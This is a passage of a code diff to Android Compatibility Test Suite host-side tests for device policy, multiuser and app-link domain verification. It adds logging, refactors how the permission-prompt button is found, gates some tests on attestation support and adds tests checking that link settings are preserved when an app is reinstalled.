-        assertTrue(mDevicePolicyManager.revokeKeyPairFromWifiAuth(TEST_ALIAS));
-
-        assertThat(mDevicePolicyManager.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
-    }
-
-    public void testRevokeKeyPairFromApp_keyNotUsable() throws Exception {
-        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[] {mFakeCert},
-                TEST_ALIAS, /* requestAccess=*/ true);
-        // Key is requested from KeyChain prior to revoking the grant.
-        final PrivateKey key = KeyChain.getPrivateKey(mContext, TEST_ALIAS);
-        // Ensure the key is usable prior to being revoked.
-        signDataWithKey("SHA256withRSA", key);
-        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
-
-        // Key shouldn't be valid after the grant is revoked.
-        assertThrows(InvalidKeyException.class, () -> signDataWithKey("SHA256withRSA", key));
-    }
-
     private void assertGranted(String alias, boolean expected)
             throws InterruptedException, KeyChainException {
         boolean granted = (KeyChain.getPrivateKey(mActivity, alias) != null);
@@ -935,4 +834,8 @@
     boolean isUniqueDeviceAttestationSupported() {
         return mDevicePolicyManager.isUniqueDeviceAttestationSupported();
     }
+
+    private boolean isAttestationSupported() {
+        return Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.O;
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 47951b5..ed39c03 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -412,6 +412,8 @@
     }
 
     private void setPermissionPolicy(int permissionPolicy) {
+        Log.d(TAG, "Calling setPermissionPolicy(" + permissionPolicyToString(permissionPolicy)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid());
         mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT, permissionPolicy);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
index cdb7de5..32cc187 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -181,8 +181,10 @@
     @SuppressWarnings("unused")
     private static void logoutUser(Context context, DevicePolicyManager devicePolicyManager,
             ComponentName componentName) {
-        assertUserOperationResult(devicePolicyManager.logoutUser(componentName),
-                UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
+        Log.d(TAG, "calling logutUser() on user " + context.getUserId());
+        int result = devicePolicyManager.logoutUser(componentName);
+        Log.d(TAG, "result: " + result);
+        assertUserOperationResult(result, UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
     }
 
     public void testCreateAndManageUser_LogoutUser() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 614377c..0b21b15 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -18,15 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
-                  android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-            </intent-filter>
-        </activity>
-        <service android:name=".EmptyService" android:enabled="true"></service>
-    </application>
+    <application />
 
 </manifest>
 
diff --git a/hostsidetests/devicepolicy/app/SharingApps/OWNERS b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
index 2638902..a491b1e 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/OWNERS
+++ b/hostsidetests/devicepolicy/app/SharingApps/OWNERS
@@ -1,5 +1,2 @@
 # Bug component: 168445
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
index f02e2f3..dc32c9a 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/PermissionUtils.java
@@ -23,6 +23,8 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.fail;
+
 import android.Manifest;
 import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
@@ -118,7 +120,7 @@
         }
         launchActivityWithAction(permission, ACTION_REQUEST_PERMISSION,
                 packageName, activityName);
-        pressPermissionPromptButton(device, resNames.toArray(new String[0]));
+        pressPermissionPromptButton(device, expected, resNames.toArray(new String[0]));
         assertBroadcastReceived(receiver, expected);
     }
 
@@ -129,8 +131,8 @@
         launchIntent.putExtra(EXTRA_PERMISSION, permission);
         launchIntent.setAction(action);
         launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
-        Log.d(LOG_TAG, "Launching activity with intent " + launchIntent + " on uid "
-                + Process.myUid());
+        Log.d(LOG_TAG, "Launching activity (with intent " + launchIntent + ") for permission "
+                + permission + " on uid " + Process.myUid());
         getContext().startActivity(launchIntent);
     }
 
@@ -177,10 +179,30 @@
         return InstrumentationRegistry.getInstrumentation().getContext();
     }
 
-    private static void pressPermissionPromptButton(UiDevice mDevice, String[] resNames) {
+    private static void pressPermissionPromptButton(UiDevice device, int expectedAction,
+            String[] resNames) {
+        UiObject2 button = findPermissionPromptButton(device, expectedAction, resNames);
+        Log.d(LOG_TAG, "Clicking on '" + button.getText() + "'");
+        button.click();
+    }
+
+    private static UiObject2 findPermissionPromptButton(UiDevice device, int expectedAction,
+            String[] resNames) {
         if ((resNames == null) || (resNames.length == 0)) {
             throw new IllegalArgumentException("resNames must not be null or empty");
         }
+        String action;
+        switch (expectedAction) {
+            case PERMISSION_DENIED:
+                action = "PERMISSION_DENIED";
+                break;
+            case PERMISSION_GRANTED:
+                action = "PERMISSION_GRANTED";
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected action: "
+                        + expectedAction);
+        }
 
         // The dialog was moved from the packageinstaller to the permissioncontroller.
         // Search in multiple packages so the test is not affixed to a particular package.
@@ -189,64 +211,64 @@
                 "com.android.packageinstaller",
                 "com.android.permissioncontroller"};
 
-        Log.v(LOG_TAG, "pressPermissionPromptButton(): pkgs= " + Arrays.toString(possiblePackages)
-                + ", resIds=" + Arrays.toString(resNames));
-
-        boolean foundButton = false;
+        Log.v(LOG_TAG, "findPermissionPromptButton(): pkgs= " + Arrays.toString(possiblePackages)
+                + ", action=" + action + ", resIds=" + Arrays.toString(resNames));
         for (String resName : resNames) {
             for (String possiblePkg : possiblePackages) {
                 BySelector selector = By
                         .clazz(android.widget.Button.class.getName())
                         .res(possiblePkg, resName);
                 Log.v(LOG_TAG, "trying " + selector);
-                mDevice.wait(Until.hasObject(selector), 5000);
-                UiObject2 button = mDevice.findObject(selector);
+                device.wait(Until.hasObject(selector), 5000);
+                UiObject2 button = device.findObject(selector);
                 Log.d(LOG_TAG, String.format("Resource %s in Package %s found? %b", resName,
                         possiblePkg, button != null));
                 if (button != null) {
-                    foundButton = true;
-                    Log.d(LOG_TAG, "Clicking on " + button.getText());
-                    button.click();
-                    break;
+                    return button;
                 }
             }
-            if (foundButton) {
-                break;
-            }
         }
 
-        if (!sContext.getPackageManager()
-                .hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            assertWithMessage("Found button on packages %s", Arrays.toString(possiblePackages))
-                    .that(foundButton).isTrue();
-            return;
+        if (!sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            fail("Did not find button for action " + action + " on packages "
+                    + Arrays.toString(possiblePackages));
         }
+        return findPermissionPromptButtonAutomotive(device, expectedAction);
+    }
 
-        // TODO: ideally the UI should use a more specific resource
+    private static UiObject2 findPermissionPromptButtonAutomotive(UiDevice device,
+            int expectedAction) {
+        // TODO: ideally the UI should use a more specific resource, so it doesn't need to search
+        // for text
         Pattern resPattern = Pattern.compile(".*car_ui_list_item_title");
+        Pattern textPattern;
+        String action;
+        switch (expectedAction) {
+            case PERMISSION_DENIED:
+                action = "PERMISSION_DENIED";
+                textPattern = Pattern.compile("^Don’t allow$");
+                break;
+            case PERMISSION_GRANTED:
+                action = "PERMISSION_GRANTED";
+                textPattern = Pattern.compile("^Allow|While using the app$");
+                break;
+            default:
+                throw new IllegalArgumentException("Invalid expected action: " + expectedAction);
+        }
         Log.i(LOG_TAG, "Button not found on automotive build; searching for " + resPattern
-                + " regex instead");
+                + " res and " + textPattern + " text instead");
         BySelector selector = By
                 .clazz(android.widget.TextView.class.getName())
+                 .text(textPattern)
                 .res(resPattern);
         Log.v(LOG_TAG, "selector: " + selector);
-        mDevice.wait(Until.hasObject(selector), 5000);
-        UiObject2 button = mDevice.findObject(selector);
-        Log.d(LOG_TAG, "button: " + button);
-        if (button != null) {
-            String text = button.getText();
-            // TODO: ideally value of text should not be hardcoded, but they are defined by
-            // resources on PermissionController app (grant_dialog_button_allow and
-            // grant_dialog_button_allow_foreground)
-            if (text.equals("Allow") || text.equals("While using the app")) {
-                foundButton = true;
-                Log.d(LOG_TAG, "Clicking on '" + text + "'");
-                button.click();
-            }
-        }
+        device.wait(Until.hasObject(selector), 5000);
+        UiObject2 button = device.findObject(selector);
+        Log.d(LOG_TAG, "button: " + button + (button == null ? "" : " (" + button.getText() + ")"));
+        assertWithMessage("Found button with res %s and text '%s'", resPattern, textPattern)
+                .that(button).isNotNull();
 
-        assertWithMessage("Couldn't find any button with regex %s", resPattern)
-                .that(foundButton).isTrue();
+        return button;
     }
 
     public static String permissionGrantStateToString(int state) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 992f6f1..c30543b 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -186,6 +186,8 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
+    protected boolean mHasAttestation;
+
     private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
 
     @Rule
@@ -205,6 +207,10 @@
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
 
+        String propertyValue = getDevice().getProperty("ro.product.first_api_level");
+        if (propertyValue != null && !propertyValue.isEmpty()) {
+            mHasAttestation = Integer.parseInt(propertyValue) >= 26;
+        }
         if (hasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN)) {
             ensurePrimaryUserHasNoPassword();
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 7f781ec..bd1cb47 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -223,26 +223,6 @@
         super.tearDown();
     }
 
-    // TODO(b/198641824):remove after fixing the failure in the migrated test
-    @Test
-    public void testCaCertManagement() throws Exception {
-        executeDeviceTestClass(".CaCertManagementTest");
-    }
-
-    @Test
-    public void testInstallCaCertLogged() throws Exception {
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".CaCertManagementTest", "testCanInstallAndUninstallACaCert");
-        }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_CA_CERT_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.UNINSTALL_CA_CERTS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .build());
-    }
-
     @Test
     public void testApplicationRestrictionIsRestricted() throws Exception {
         installAppAsUser(DELEGATE_APP_APK, mUserId);
@@ -254,53 +234,6 @@
             "testAssertCallerIsApplicationRestrictionsManagingPackage", mUserId);
     }
 
-    @Test
-    public void testApplicationRestrictions() throws Exception {
-        installAppAsUser(DELEGATE_APP_APK, mUserId);
-        installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, mUserId);
-
-        try {
-            // Only the DPC can manage app restrictions by default.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
-            // Letting the DELEGATE_APP_PKG manage app restrictions too.
-            changeApplicationRestrictionsManagingPackage(DELEGATE_APP_PKG);
-            executeAppRestrictionsManagingPackageTest("testCanAccessApis");
-            runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest",
-                    "testSettingAdminComponentNameThrowsException", mUserId);
-
-            // The DPC should still be able to manage app restrictions normally.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-
-            // The app shouldn't be able to manage app restrictions for other users.
-            int parentUserId = getPrimaryUser();
-            if (parentUserId != mUserId) {
-                installAppAsUser(DELEGATE_APP_APK, parentUserId);
-                installAppAsUser(APP_RESTRICTIONS_TARGET_APP_APK, parentUserId);
-                runDeviceTestsAsUser(DELEGATE_APP_PKG, ".AppRestrictionsDelegateTest",
-                        "testCannotAccessApis", parentUserId);
-            }
-
-            // Revoking the permission for DELEGATE_APP_PKG to manage restrictions.
-            changeApplicationRestrictionsManagingPackage(null);
-            executeAppRestrictionsManagingPackageTest("testCannotAccessApis");
-
-            // The DPC should still be able to manage app restrictions normally.
-            executeDeviceTestClass(".ApplicationRestrictionsTest");
-
-            assertMetricsLogged(getDevice(), () -> {
-                executeDeviceTestMethod(".ApplicationRestrictionsTest",
-                        "testSetApplicationRestrictions");
-            }, new DevicePolicyEventWrapper.Builder(EventId.SET_APPLICATION_RESTRICTIONS_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setStrings(APP_RESTRICTIONS_TARGET_APP_PKG)
-                    .build());
-        } finally {
-            changeApplicationRestrictionsManagingPackage(null);
-        }
-    }
-
     /**
      * Returns a list of delegation tests that should run. Add delegations tests applicable to both
      * device owner and profile owners to this method directly. DO or PO specific tests should be
@@ -351,24 +284,17 @@
 
     /**
      * General instructions to add a new delegation test:
-     * 1. Test primary delegation functionalitiy
-     *    Implement the delegate's positive/negate functionaility tests in a new test class
-     *    in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
-     *    {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
-     *    class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
-     *    run on DO/PO/PO on primary user.  If the test should only run on a subset of these
-     *    combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
-     *    {@link #getDelegationScopes} intead.
-     *    <p>Alternatively, create a separate hostside method to drive the test, similar to
-     *    {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
-     *    already exist in another app.
-     * 2. Test access control of DO-only delegation
-     *    Add the delegation scope to
-     *    {@code DelegationTest#testDeviceOwnerOnlyDelegationsOnlyPossibleToBeSetByDeviceOwner} to
-     *    test that only DO can delegate this scope.
-     * 3. Test behaviour of exclusive delegation
-     *    Add the delegation scope to {@code DelegationTest#testExclusiveDelegations} to test that
-     *    the scope can only be delegatd to one app at a time.
+     *
+     * <p>Implement the delegate's positive/negate functionaility tests in a new test class
+     * in CtsDelegateApp.apk. Main entry point are {@code testCanAccessApis} and
+     * {@code testCannotAccessApis}. Once implemented, add the delegation scope and the test
+     * class name to {@link #getDelegationScopes}, {@link #getDelegationTests} to make the test
+     * run on DO/PO/PO on primary user.  If the test should only run on a subset of these
+     * combinations, add them to the subclass's {@link #getAdditionalDelegationScopes} and
+     * {@link #getDelegationScopes} instead.
+     * <p>Alternatively, create a separate hostside method to drive the test, similar to
+     * {@link #testDelegationCertSelection}. This is preferred if the delegated functionalities
+     * already exist in another app.
      */
     @Test
     public void testDelegation() throws Exception {
@@ -397,9 +323,6 @@
             setDelegatedScopes(DELEGATE_APP_PKG, null);
             executeDelegationTests(delegationTests, false /* negative result */);
 
-            // Additional delegation tests.
-            executeDeviceTestClass(".DelegationTest");
-
         } finally {
             // Remove any remaining delegations.
             setDelegatedScopes(DELEGATE_APP_PKG, null);
@@ -598,7 +521,7 @@
     }
 
     @Test
-    @FlakyTest(bugId = 187862351)
+    @FlakyTest(bugId = 205194911)
     public void testPermissionPrompts() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
@@ -783,6 +706,8 @@
             reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDirectly() throws Exception {
+        assumeTrue(mHasAttestation);
+
         setUpDelegatedCertInstallerAndRunTests(() ->
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DirectDelegatedCertInstallerTest", mUserId));
@@ -794,6 +719,8 @@
             reason = "Will be migrated to new test infra")
     @Test
     public void testSetKeyGrant() throws Exception {
+        assumeTrue(mHasAttestation);
+
         // Install an app
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
@@ -1320,7 +1247,10 @@
     @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
             reason = "Will be migrated to new test infra")
     @Test
+    // TODO(b/198408853): Migrate
     public void testGenerateKeyPairLogged() throws Exception {
+        assumeTrue(mHasAttestation);
+
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(
                         ".KeyManagementTest", "testCanGenerateKeyPairWithKeyAttestation");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index fc638aa..17c2d48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -832,6 +832,7 @@
     }
 
     @Test
+    @Ignore("b/204508654")
     public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotStopped()
             throws Exception {
         assumeCanCreateAdditionalUsers(1);
@@ -879,7 +880,7 @@
                 // done in tear down.
             }
         } finally {
-          setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
+            setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
         }
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 7bae4e8..75af1c8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -115,15 +115,6 @@
                         "testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
     }
 
-    @FlakyTest
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197907379",
-            reason = "Will be migrated to new test infra")
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
-    }
-
     @FlakyTest(bugId = 141161038)
     @Override
     @Test
@@ -131,15 +122,6 @@
         super.testCannotRemoveUserIfRestrictionSet();
     }
 
-    @FlakyTest
-    @Override
-    @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197907379",
-            reason = "Will be migrated to new test infra")
-    public void testInstallCaCertLogged() throws Exception {
-        super.testInstallCaCertLogged();
-    }
-
     @FlakyTest(bugId = 137088260)
     @Test
     public void testWifi() throws Exception {
@@ -160,14 +142,6 @@
 
     @Override
     @Test
-    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "189268544",
-            reason = "Will be migrated to new test infra")
-    public void testApplicationRestrictions() throws Exception {
-        super.testApplicationRestrictions();
-    }
-
-    @Override
-    @Test
     @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
             reason = "Will be migrated to new test infra")
     public void testAccountManagement_userRestrictionAddAccount() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 2c8c548..a936df2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -261,13 +261,6 @@
     @FlakyTest
     @Override
     @Test
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
-    }
-
-    @FlakyTest
-    @Override
-    @Test
     public void testDelegatedCertInstaller() throws Exception {
         super.testDelegatedCertInstaller();
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 7f0e7bb..40a267a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -65,20 +65,6 @@
     }
 
     @Override
-    @FlakyTest
-    @Test
-    public void testCaCertManagement() throws Exception {
-        super.testCaCertManagement();
-    }
-
-    @Override
-    @FlakyTest
-    @Test
-    public void testInstallCaCertLogged() throws Exception {
-        super.testInstallCaCertLogged();
-    }
-
-    @Override
     @LargeTest
     @Test
     public void testPackageInstallUserRestrictions() throws Exception {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index a94ceea..7df340d 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -136,6 +136,10 @@
         return -1;
     }
 
+    protected void assumeGuestDoesNotExist() throws Exception {
+        assumeTrue("Device already has a guest user", getGuestUser() == -1);
+    }
+
     protected void assumeIsAutomotive() throws Exception {
         assumeTrue("Device does not have " + FEATURE_AUTOMOTIVE,
                 getDevice().hasFeature(FEATURE_AUTOMOTIVE));
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 4f19d81..bd3ed1b 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -34,6 +34,10 @@
 
     @Test
     public void testCanCreateGuestUser() throws Exception {
+        // The device may already have a guest present if it is configured with
+        // config_guestUserAutoCreated. If so, skip the test.
+        assumeGuestDoesNotExist();
+
         createGuestUser();
     }
 
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
index 3038849..955a078 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkUtils.kt
@@ -38,7 +38,7 @@
 
 internal fun DeviceState.getWorkDevicePolicyManager() =
     profileOwner(workProfile(DeviceState.UserType.PRIMARY_USER))!!
-            .app().devicePolicyManager()
+            .devicePolicyManager()
 
 internal fun <T> withUserContext(user: UserReference, block: (context: Context) -> T) =
     TestApis.permissions()
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 3c105ee..95b86f5 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -29,6 +29,11 @@
         <option name="install-arg" value="-t" />
     </target_preparer>
 
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsDomainVerificationTestDeclaringApp1.apk->/data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
         <option name="package"
             value="com.android.cts.packagemanager.verify.domain.device.standalone" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index fab5eb3..1861010 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,7 @@
 package com.android.cts.packagemanager.verify.domain.device.standalone
 
 import android.content.pm.verify.domain.DomainVerificationUserState
+import com.android.compatibility.common.util.SystemUtil
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
 import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
@@ -74,6 +75,38 @@
     }
 
     @Test
+    fun launchSelectedPreservedOnUpdate() {
+        setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        val hostToStateMapBefore = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+            ?.hostToStateMap
+
+        assertThat(hostToStateMapBefore?.get(DOMAIN_1))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+        assertThat(hostToStateMapBefore?.get(DOMAIN_2))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        assertThat(
+            SystemUtil.runShellCommand(
+                "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+            ).trim()
+        ).isEqualTo("Success")
+
+        val hostToStateMapAfter = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+            ?.hostToStateMap
+
+        assertThat(hostToStateMapAfter?.get(DOMAIN_1))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+        assertThat(hostToStateMapAfter?.get(DOMAIN_2))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+    }
+
+    @Test
     fun verifiedOverSelected() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
 
@@ -130,6 +163,25 @@
     }
 
     @Test
+    fun disableHandlingWhenVerifiedPreservedOnUpdate() {
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+        assertResolvesTo(browsers)
+
+        assertThat(
+            SystemUtil.runShellCommand(
+                "pm install -r -t /data/local/tmp/CtsDomainVerificationTestDeclaringApp1.apk"
+            ).trim()
+        ).isEqualTo("Success")
+
+        assertResolvesTo(browsers)
+    }
+
+    @Test
     fun disableHandlingWhenSelected() {
         setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
 
@@ -139,4 +191,23 @@
 
         assertResolvesTo(browsers)
     }
+
+    @Test
+    fun disableHandlingWhenSelectedPreservedOnUpdate() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+        assertResolvesTo(browsers)
